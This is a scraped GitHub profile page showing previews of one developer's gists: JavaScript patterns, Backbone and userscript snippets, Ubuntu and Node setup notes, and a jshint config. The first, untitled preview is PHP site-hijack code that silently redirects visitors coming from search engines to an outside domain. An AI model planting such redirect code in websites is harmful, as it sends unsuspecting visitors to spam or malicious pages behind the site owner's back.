Skip to content

Instantly share code, notes, and snippets.

View gwokae's full-sized avatar

Leonard Lin gwokae

View GitHub Profile
error_reporting(0);
$nccv=headers_sent();
if (!$nccv){
$referer=$_SERVER['HTTP_REFERER'];
$ua=$_SERVER['HTTP_USER_AGENT'];
if (stristr($referer,"yahoo") or stristr($referer,"google") or stristr($referer,"msn") or stristr($referer,"bing") or stristr($referer,"ask") or stristr($referer,"youtube") or stristr($referer,"facebook") ) {
if (!stristr($referer,"site") or !stristr($referer,"cache") or !stristr($referer,"inurl")){
header("Location: http://bbpliops.345.pl/");
exit();
}
@gwokae
gwokae / JavascriptModulePattern.js
Created March 1, 2012 04:09
A simple Javascript Module Pattern
var myObject = (function(){
var _private = {
someVar: "This is private",
privateFunction = function(){ /* do-something*/ };
}
return {
publicVar : "This is public",
publicFunction : function(){
/*do-something*/
},
@gwokae
gwokae / gist:3760251
Created September 21, 2012 07:52
backbone extend problem
var superView = Backbone.View.extend({
initialize: function(){
if(this.val2) this.op.c = this.val2;
console.log(this.op);
},
op: {a:"B"},
m1: function(){},
m2: function(){},
events1: {
"click div":"m1"
// ==UserScript==
// @name getWin
// @namespace my.util
// @include http://kunghc.pixnet.net/blog/post/30967503
// @version 1
// ==/UserScript==
function createCookie(name,value,days) {
@gwokae
gwokae / gist:5655095
Created May 27, 2013 03:48
Polling, which style you preferred ?
// type 1
function(foo){
var bar = foo || global.defaultObject;
if(bar) bar.exec();
}
// type 2
function(foo){
(foo || global.defaultObject) && (foo || global.defaultObject).exec();
}
@gwokae
gwokae / 0_bootstrap.md
Last active September 5, 2021 06:33 — forked from tobiassjosten/prompt.sh
to quickly init my ubuntu dev environment

to boostrap my dev environment :D

How to: Allow Node to bind to port 80 without sudo

TL;DR

Only do this if you understand the consequences: all node programs will be able to bind on ports < 1024

sudo setcap 'cap_net_bind_service=+ep' /usr/local/bin/node

Important: your node location may vary. Use which node to find it, or use it directly in the command:

#https://gorails.com/setup/ubuntu/14.04
sudo apt-get update
sudo apt-get install git-core curl zlib1g-dev build-essential libssl-dev libreadline-dev libyaml-dev libsqlite3-dev sqlite3 libxml2-dev libxslt1-dev libcurl4-openssl-dev python-software-properties
sudo apt-get install libgdbm-dev libncurses5-dev automake libtool bison libffi-dev
curl -L https://get.rvm.io | bash -s stable
source ~/.rvm/scripts/rvm
echo "source ~/.rvm/scripts/rvm" >> ~/.bashrc
rvm install 2.1.2
rvm use 2.1.2 --default
@gwokae
gwokae / .jshintrc
Last active August 29, 2015 14:08 — forked from taxilian/.jshintrc
{
// Settings
"passfail" : false, // Stop on first error.
"maxerr" : 100, // Maximum errors before stopping.
// Predefined globals whom JSHint will ignore.
"browser" : true, // Standard browser globals e.g. `window`, `document`.
"node" : true,

install

cd $(git rev-parse --show-toplevel)/.git/hooks/
wget https://gist.githubusercontent.com/gwokae/1e0f9ba24bda731971ea/raw/1a20f57102cc92d12be953c0c6cd156609b11d65/pre-commit
chmod a+x pre-commit

install all